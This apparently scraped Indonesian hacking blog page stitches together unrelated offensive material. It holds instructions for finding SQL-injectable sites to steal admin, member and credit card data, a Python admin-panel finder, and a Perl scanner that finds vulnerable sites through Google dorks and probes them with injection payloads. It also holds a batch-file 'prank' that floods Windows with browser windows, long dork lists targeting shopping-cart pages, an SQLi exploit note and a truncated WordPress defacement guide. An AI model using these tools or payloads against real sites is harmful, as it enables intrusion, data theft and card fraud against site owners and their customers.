Ilyas Cyber4rt

klik scan untuk mencari web target ..
dan anda bisa melihat hasil scan pada gambar di bwah ini :D
klik "remove duplicates" 
                                    
lanjutkan dengan klik kanan web target => send to sqli crawler>all  (liat gambar)

klik cralw untuk mengecek apakah target kita vulnurable atau tidak. (liat gambar)

selanjutnya  di lanjutkan dengan tool sql injection seperti havij, sqlmap,dll  untuk mendapatkan admin, user, member atau cc nya..

silakan tinggalkan komentar :D

#!/usr/bin/env python
######################################
#                                    #  
#   Admin Finder v1                  #
#       by cester matthew. 2012               #
#  Greetz to ljuska.org, s3ctor.org  #
#                                    #
######################################


import sys, httplib, subprocess


if sys.platform == 'linux' or sys.platform == 'linux2':
    subprocess.call("clear", shell=True)
else:
    subprocess.call("cls", shell=True)    


pathlist_path = "pathlist.txt"
dump = False
counter_fail = 0
counter_success = 0


if(len(sys.argv) >= 3):
    if sys.argv[2] != "-dump":
        pathlist_path = sys.argv[2]
    else:
        dump = True
if(len(sys.argv) >= 4):
    if sys.argv[3] == "-dump":
        dump = True
    else:
        sys.exit("Unknown argument: " + sys.argv[3])
        
if (len(sys.argv) < 2):
    sys.exit("Missing argument!")


pathlist_f = open(pathlist_path,"r")
path = pathlist_f.readlines()


target = sys.argv[1]
target = target.replace("http://","").rsplit("/",1)[0]


if dump:
    dump_f = open(target + ".txt", "w")


print 'Admin Finder started...'
print 'Using pathlist: ' + pathlist_path
if dump:
    print 'Dumping to file: ' + target + ".txt"
print 'Connecting to ' + target


for p in path:
    p = p.replace("\n","")
    p = "/" + p
    conn = httplib.HTTPConnection(target)
    conn.request("GET",p)
    response = conn.getresponse()
    if response.status == 200 or response.status == 403:
        print p, " FOUND", response.status
        counter_success += 1
        if dump:
            dump_f.write(p + " FOUND " + str(response.status) + "\n")
    else:
        counter_fail += 1
        if dump:
            dump_f.write(p + " NOT FOUND " + str(response.status) + "\n")
    
print '\n'
print counter_success, " found, ", counter_fail, " not found."

#!/usr/bin/perl -w


use strict;
use LWP::UserAgent;
use Google::Search;
use utf8;
use Getopt::Long;


use constant DEBUG => 1;


my $__Version__ = 1.0;




############ Globals #################
$| = 1;


my ($ua, $url);
my ($scheme, $host, $path, $query, $fragment) = ('', '', '', '', ''); #URL parts
my (@vars, @vals); # The splited query




my $sqlError =    "((?=.*sql)(?=.*syntax))|".
                "((?=.*sql)(?=.*error)) |".
                "(mysql)";
my $fieldError = "Unknown column|SQL";




############### Basic functions #################
sub createLWP
{
        $ua = LWP::UserAgent->new;
        $ua->agent('Linux Mozilla');
}


sub parseUrl
{
    ($scheme, $host, $path, $query, $fragment) =
    $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
   
    return if(not defined $query or $query eq ''); # If there is no query
   
    @vars = ();
    @vals = ();
   
    foreach my $pair (split /&/, $query)
    {
        my ($var,$value) = split /=/, $pair;
       
        push @vars, $var;
        push @vals, $value;
    }
}


sub fetchHTML
{
    my $pageURL = shift;
    my $res;
   
    $res = $ua->get($pageURL);
   
    #print $res->status_line," " unless ($res->is_success);
   
    return $res->content; # The HTML
   
}
############# Basic sqli functions #########################
sub checkVuln
{
    my $checkURL;
    my $html;
   
    return "no" if(not defined $query or $query eq '');


    # Check if already contains the sql string
    $checkURL = $scheme."://".$host.$path;
    $html = fetchHTML($checkURL);
   
    if($html =~ m/$sqlError/i)
    {
        return "Contains the SQL string by default.";
    }


    for(my $i=0; $i<@vars; ++$i)
    {
        $checkURL = $scheme."://".$host.$path."?";
       
        for(my $j=0;$j<@vars;++$j)
        {
            if($j==$i)
            {
                $checkURL .= $vars[$j]."=1'";
            }
            else
            {
                $checkURL .= $vars[$j]."=".$vals[$j];
            }
           
            $checkURL .= "&" if($j<@vals-1);
        }
       
        $html = fetchHTML($checkURL);
       
        if($html =~ m/Microsoft/i)
        {
            return "MSSQL (only MYSQL supported)";
        }
        if($html =~ m/$sqlError/i)
        {
            return "yes";
        }
    }
   
    return "no";
}


sub getNumOfFields
{
    my $maxNum = shift;
   
    my $checkURL = $url;
   
    my ($lastVar, $lastVal) = ($vars[$#vars], $vals[$#vals]);
    $checkURL =~ s/$lastVar=$lastVal/$lastVar=1 order by /;
   
    my $i;
    for($i=1; $i<=$maxNum; $i+=10)
    {
        my $html = fetchHTML($checkURL.$i."--");


        if($html =~ m/$fieldError/i)
        {
            last;
        }
    }
   
    for($i=$i; $i>0; --$i)
    {
        my $html = fetchHTML($checkURL.$i."--");
       
        if($html !~ m/$fieldError/i)
        {
            return $i;
        }
    }
   
    return 0;
}


########### Full sqli proccess ########################


sub fullCrack
{
    print "Determining site vulnerability... ";
   
    my $vuln = checkVuln;


    print "[".$vuln."]\n";
   
    return if($vuln ne 'yes');
   
    print "Enter the max number of fields: ";
    my $maxFields = <STDIN>;
    chomp $maxFields;
   
    print "Determining number of fields... ";
   
    my $numOfFields = getNumOfFields($maxFields);
   
    if($numOfFields == 0)
    {
        print "failed!\nTry a bigger number or I just can't get it.\n";
    }
    else
    {
        print "[".$numOfFields."]\n";
    }
}


################ Print functions ############


sub printBar
{
    print "*====================================*\n";
    print "|SQL injection scanner made by Skielf|\n";
    print "*====================================*\n";
}
sub printMenu
{
    print "--------------\n";
    print "1: Scan sites\n";
    print "2: Scan specific url\n";
    print "3: Manual\n";
    print "4: exit\n";
    print "Command: ";
}


################## Functions from menu #################


sub manual
{
    print "-------\n";
    print "|Manual|\n";
    print "-------\n";
    print "General things:\n";
    print "The script supports Mysql databases only.\n";
    print "Scan sites:\n";
    print "\tAsks for a dork, and number of results,\n";
    print "\tand searchs in google for valnurable sites\n\t(Tests every parameter)\n";
    print "Scan specific url:\n";
    print "\tDo a valnurability scan to the url and more.\n";
    print "\t(Uses only the last GET parameter)\n";
}
sub scanSpecific
{
    print "URL: ";
   
    $url = <STDIN>;
    chomp $url;
   
    if($url !~ /(?=.*http)(?=.*www)/)
    {
        print "Url must be absolute\n";
    }
    else
    {
        parseUrl;
        fullCrack;
    }
}


sub scanSites
{
    my $dork;
    my $maxPage = 10;
   
    print "Dork: ";
   
    $dork = <STDIN>;
    chomp $dork;
   
    print "Maximum result: ";
    $maxPage = <STDIN>;
    chomp $maxPage;
   
    my $search = Google::Search->Web( query => "inurl:".$dork );
   
    my $i=0;
    while (    my $result = $search->next and $i<$maxPage)
    {
        if($result->uri ne '')
        {  
            $url = $result->uri->as_string;
            print $url."...\t";
           
            parseUrl;
           
            print "[".checkVuln."]\n";
        }
        ++$i;
    }
    print $search->error->reason, "\n" if $search->error;
}


########################################




# The main function
sub main
{
    printBar;
   
    createLWP;
   
    my $exit = 0;
    while(not $exit)
    {
        printMenu;
       
        my $cmd = <STDIN>;
        chomp $cmd;
       
        if($cmd =~ /1/)
        {
            scanSites;
        }
        elsif($cmd =~ /2/)
        {
            scanSpecific;
        }
        elsif($cmd =~ /3/)
        {
            manual;
        }
        elsif($cmd =~ /4/)
        {
            $exit = 1;
        }
    }
   
    print "Bye!\n";
}


# Call the main function
main;

copy kode berikut di notepad
cd c:/windows/system32
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe

simpan dengan format .bat  ==>  "namafile.bat"

silakan bersenang senang :D

www.checker.la

inurl:"add.asp?bookid="
inurl:"add_cart.asp?num="
inurl:"addcart.asp?"
inurl:"addItem.asp"
inurl:"add-to-cart.asp?ID="
inurl:"addToCart.asp?idProduct="
inurl:"addtomylist.asp?ProdId="
inurl:"adminEditProductFields.asp?intProdID="
inurl:"advSearch_h.asp?idCategory="
inurl:"affiliate.asp?ID="
inurl:"affiliate-agreement.cfm?storeid="
inurl:"affiliates.asp?id="
inurl:"ancillary.asp?ID="
inurl:"archive.asp?id="
inurl:"article.asp?id="
inurl:"aspx?PageID"
inurl:"basket.asp?id="
inurl:"Book.asp?bookID="
inurl:"book_list.asp?bookid="
inurl:"book_view.asp?bookid="
inurl:"BookDetails.asp?ID="
inurl:"browse.asp?catid="
inurl:"browse_item_details.asp"
inurl:"Browse_Item_Details.asp?Store_Id="
inurl:"buy.asp?"
inurl:"buy.asp?bookid="
inurl:"bycategory.asp?id="
inurl:"cardinfo.asp?card="
inurl:"cart.asp?action="
inurl:"cart.asp?cart_id="
inurl:"cart.asp?id="
inurl:"cart_additem.asp?id="
inurl:"cart_validate.asp?id="
inurl:"cartadd.asp?id="
inurl:"cat.asp?iCat="
inurl:"catalog.asp"
inurl:"catalog.asp?CatalogID="
inurl:"catalog_item.asp?ID="
inurl:"catalog_main.asp?catid="
inurl:"category.asp"
inurl:"category.asp?catid="
inurl:"category_list.asp?id="
inurl:"categorydisplay.asp?catid="
inurl:"checkout.asp?cartid="
inurl:"checkout.asp?UserID="
inurl:"checkout_confirmed.asp?order_id="
inurl:"checkout1.asp?cartid="
inurl:"comersus_listCategoriesAndProducts.asp?idCa tegory ="
inurl:"comersus_optEmailToFriendForm.asp?idProduct ="
inurl:"comersus_optReviewReadExec.asp?idProduct="
inurl:"comersus_viewItem.asp?idProduct="
inurl:"comments_form.asp?ID="
inurl:"contact.asp?cartId="
inurl:"content.asp?id="
inurl:"customerService.asp?TextID1="
inurl:"default.asp?catID="
inurl:"description.asp?bookid="
inurl:"details.asp?BookID="
inurl:"details.asp?Press_Release_ID="
inurl:"details.asp?Product_ID="
inurl:"details.asp?Service_ID="
inurl:"display_item.asp?id="
inurl:"displayproducts.asp"
inurl:"downloadTrial.asp?intProdID="
inurl:"emailproduct.asp?itemid="
inurl:"emailToFriend.asp?idProduct="
inurl:"events.asp?ID="
inurl:"faq.asp?cartID="
inurl:"faq_list.asp?id="
inurl:"faqs.asp?id="
inurl:"feedback.asp?title="
inurl:"freedownload.asp?bookid="
inurl:"fullDisplay.asp?item="
inurl:"getbook.asp?bookid="
inurl:"GetItems.asp?itemid="
inurl:"giftDetail.asp?id="
inurl:"help.asp?CartId="
inurl:"home.asp?id="
inurl:"index.asp?cart="
inurl:"index.asp?cartID="
inurl:"index.asp?ID="
inurl:"info.asp?ID="
inurl:"item.asp?eid="
inurl:"item.asp?item_id="
inurl:"item.asp?itemid="
inurl:"item.asp?model="
inurl:"item.asp?prodtype="
inurl:"item.asp?shopcd="
inurl:"item_details.asp?catid="
inurl:"item_list.asp?maingroup"
inurl:"item_show.asp?code_no="
inurl:"itemDesc.asp?CartId="
inurl:"itemdetail.asp?item="
inurl:"itemdetails.asp?catalogid="
inurl:"learnmore.asp?cartID="
inurl:"links.asp?catid="
inurl:"list.asp?bookid="
inurl:"List.asp?CatID="
inurl:"listcategoriesandproducts.asp?idCategory="
inurl:"modline.asp?id="
inurl:"myaccount.asp?catid="
inurl:"news.asp?id="
inurl:"order.asp?BookID="
inurl:"order.asp?id="
inurl:"order.asp?item_ID="
inurl:"OrderForm.asp?Cart="
inurl:"page.asp?PartID="
inurl:"payment.asp?CartID="
inurl:"pdetail.asp?item_id="
inurl:"powersearch.asp?CartId="
inurl:"privacy.asp?cartID="
inurl:"prodbycat.asp?intCatalogID="
inurl:"prodetails.asp?prodid="
inurl:"prodlist.asp?catid="
inurl:"product.asp?bookID="
inurl:"product.asp?intProdID="
inurl:"product_info.asp?item_id="
inurl:"productDetails.asp?idProduct="
inurl:"productDisplay.asp"
inurl:"productinfo.asp?item="
inurl:"productlist.asp?ViewType=Category&CategoryI D= "
inurl:"productpage.asp"
inurl:"products.asp?ID="
inurl:"products.asp?keyword="
inurl:"products_category.asp?CategoryID="
inurl:"products_detail.asp?CategoryID="
inurl:"productsByCategory.asp?intCatalogID="
inurl:"prodView.asp?idProduct="
inurl:"promo.asp?id="
inurl:"promotion.asp?catid="
inurl:"pview.asp?Item="
inurl:"resellers.asp?idCategory="
inurl:"results.asp?cat="
inurl:"savecart.asp?CartId="
inurl:"search.asp?CartID="
inurl:"searchcat.asp?search_id="
inurl:"Select_Item.asp?id="
inurl:"Services.asp?ID="
inurl:"shippinginfo.asp?CartId="
inurl:"shop.asp?a="
inurl:"shop.asp?action="
inurl:"shop.asp?bookid="
inurl:"shop.asp?cartID="
inurl:"shop_details.asp?prodid="
inurl:"shopaddtocart.asp"
inurl:"shopaddtocart.asp?catalogid="
inurl:"shopbasket.asp?bookid="
inurl:"shopbycategory.asp?catid="
inurl:"shopcart.asp?title="
inurl:"shopcreatorder.asp"
inurl:"shopcurrency.asp?cid="
inurl:"shopdc.asp?bookid="
inurl:"shopdisplaycategories.asp"
inurl:"shopdisplayproduct.asp?catalogid="
inurl:"shopdisplayproducts.asp"
inurl:"shopexd.asp"
inurl:"shopexd.asp?catalogid="
inurl:"shopping_basket.asp?cartID="
inurl:"shopprojectlogin.asp"
inurl:"shopquery.asp?catalogid="
inurl:"shopremoveitem.asp?cartid="
inurl:"shopreviewadd.asp?id="
inurl:"shopreviewlist.asp?id="
inurl:"ShopSearch.asp?CategoryID="
inurl:"shoptellafriend.asp?id="
inurl:"shopthanks.asp"
inurl:"shopwelcome.asp?title="
inurl:"show_item.asp?id="
inurl:"show_item_details.asp?item_id="
inurl:"showbook.asp?bookid="
inurl:"showStore.asp?catID="
inurl:"shprodde.asp?SKU="
inurl:"specials.asp?id="
inurl:"store.asp?id="
inurl:"store_bycat.asp?id="
inurl:"store_listing.asp?id="
inurl:"Store_ViewProducts.asp?Cat="
inurl:"store-details.asp?id="
inurl:"storefront.asp?id="
inurl:"storefronts.asp?title="
inurl:"storeitem.asp?item="
inurl:"StoreRedirect.asp?ID="
inurl:"subcategories.asp?id="
inurl:"tek9.asp?"
inurl:"template.asp?Action=Item&pid="
inurl:"topic.asp?ID="
inurl:"tuangou.asp?bookid="
inurl:"type.asp?iType="
inurl:"updatebasket.asp?bookid="
inurl:"updates.asp?ID="
inurl:"view.asp?cid="
inurl:"view_cart.asp?title="
inurl:"view_detail.asp?ID="
inurl:"viewcart.asp?CartId="
inurl:"viewCart.asp?userID="
inurl:"viewCat_h.asp?idCategory="
inurl:"viewevent.asp?EventID="
inurl:"viewitem.asp?recor="
inurl:"viewPrd.asp?idcategory="
inurl:"ViewProduct.asp?misc="
inurl:"voteList.asp?item_ID="
inurl:"whatsnew.asp?idCategory="
inurl:"WsAncillary.asp?ID="

-====Dork====- 


inurl:member.php?action=profile&uid= 


inurl:action=profile&uid=27 


-====Exploit====- 


http://www.Site.com/forums/member.php?action=profile&uid=[Sqli] 


-====Example====- 


http://www.Site.com/forums/member.php?action=profile&uid=9 


http://www.Site.com/forums/member.php?action=profile&uid=9' 

hallo, 
dalam tutorial ini saya akan menjelaskan cara deface wordpress di dashboard.
tutorial ini untuk pemula saja :D
ok, kita mulai.
pertama tama kita harus menemukan user + password nya.
lalu login ke www.example.com/wp-login.php

lalu kita ke menu appearance -> editor -> main index template

asp?segid=
ListElement.asp?segid=
detail?date=
offer_detail.php?oid=
item.php?it_id=
include_pictures.php?id=
recommend.php?item_id=
index.php?controller=
index.php&limite=
pressrelease.php?viewpr=
project.asp?id=
browse.php?sort=
View-Poetry.php?book_id=
contacts.php?ofc=
reservations.asp?heure=
guitartab.asp?idMusica=
showthread.php?t=
ocasion.php&limite=
browse.php?sort=
details.asp?ID=
view.php?client=
comment.php?postid=
detailtrip.php?trip_id=
video.php?video=
mapinfo.asp?map=
contorno.php?&offset=
street.php?region=
vr_viewer.asp?vr_iid=
ficha.php?producto=
index.php?uid=
Listing.SendToCell.asp?Lid=
detailnews.php?id=
article.php?id=
message.php?act=
direct_product.php?ID=
index.php?id=
detalle.php?id=
troubleshooting.php?trouble_no=
links.asp?gotolink=
kom_award.php?page=
icons.php?start=
group_posts.php?gid=
index.php?page=
listing.php?listing_id=
resultado.php?c=
ListInfo.asp?UserID=
galleries.php?page=
sort.php?type=
rank.php?idV=
viewComments.php?question_id=
content.asp?ContentId=
ppm.asp?model=
view_message.php?id=
index.php?c=
Print.asp?ArticleID=
content.asp?contentid=
inventory.asp?page=
index.php?pagename=
rating-game.php?gameid=
article.asp?key=
tag.php?pag=
partner_out.php?id=
new-games.php?gamespp=
view_topic.php?cat=
morenews.php?boxer_id=
players.asp?ID=
forumdisplay.php?f=
directory.php?search=
default.asp?o=
profile.php?mode=
open.php?cat=
definition.htm?page=
render.php?hash=
view_topic.php?cat=
index.php?option=
inside_page.asp?InsidePageID=
sav.php?repare_id=
columnWriterColumns.php?intro=
play.php?pl_key=
index.php?start=
schoolsplash.asp?infoid=
dynmenu.asp?MenuType=
article.asp?AID=
default.asp?id=
view_files.asp?code=
gallery.php?gameid=
product_details.asp?ProdID=
semform.php?sem_id=
index.php?pagename=
page.asp?id=
frelation.php?q=
contrato.asp?id=
viewarchives.php?f=
view.php?id=
content.asp?pid=
index.php?cat=
messages.asp?thread=
index.php?option=
ma_lista.php?notcat_id=
DemoDownload.asp?id=
significado.php?AP=
pressrelease.php?viewpr=
messagerie.php?fonction=
video.php?video=
unsubscribe.asp?url=
fire-alarm-system.php?pagename=
jobs.php?catId=
oawidget.php?s=
cds_cityprofile3.asp?tab=
recetteEn.asp?resto=
drill-machine.php?pagename=
frase.php?id=
pvc-pipe.php?pagename=
comments.php?article_id=
family.asp?GIFID=
index.php?m=
auAllVariety.asp?typeID=
ChecklistSet.php?genre=
collectiontemplate.asp?collectionid=
lactancia_conservacion.php?c_page=
index.php?option=
LanguageHome.asp?LangId=
redir.asp?codipag=
cotton-yarn.php?pagename=
main2.asp?ID='
pro_roster.php?team=
art.php?aid=
.php?subid=
rss.php?meta=
cat.php?cat=
categories.php?parent=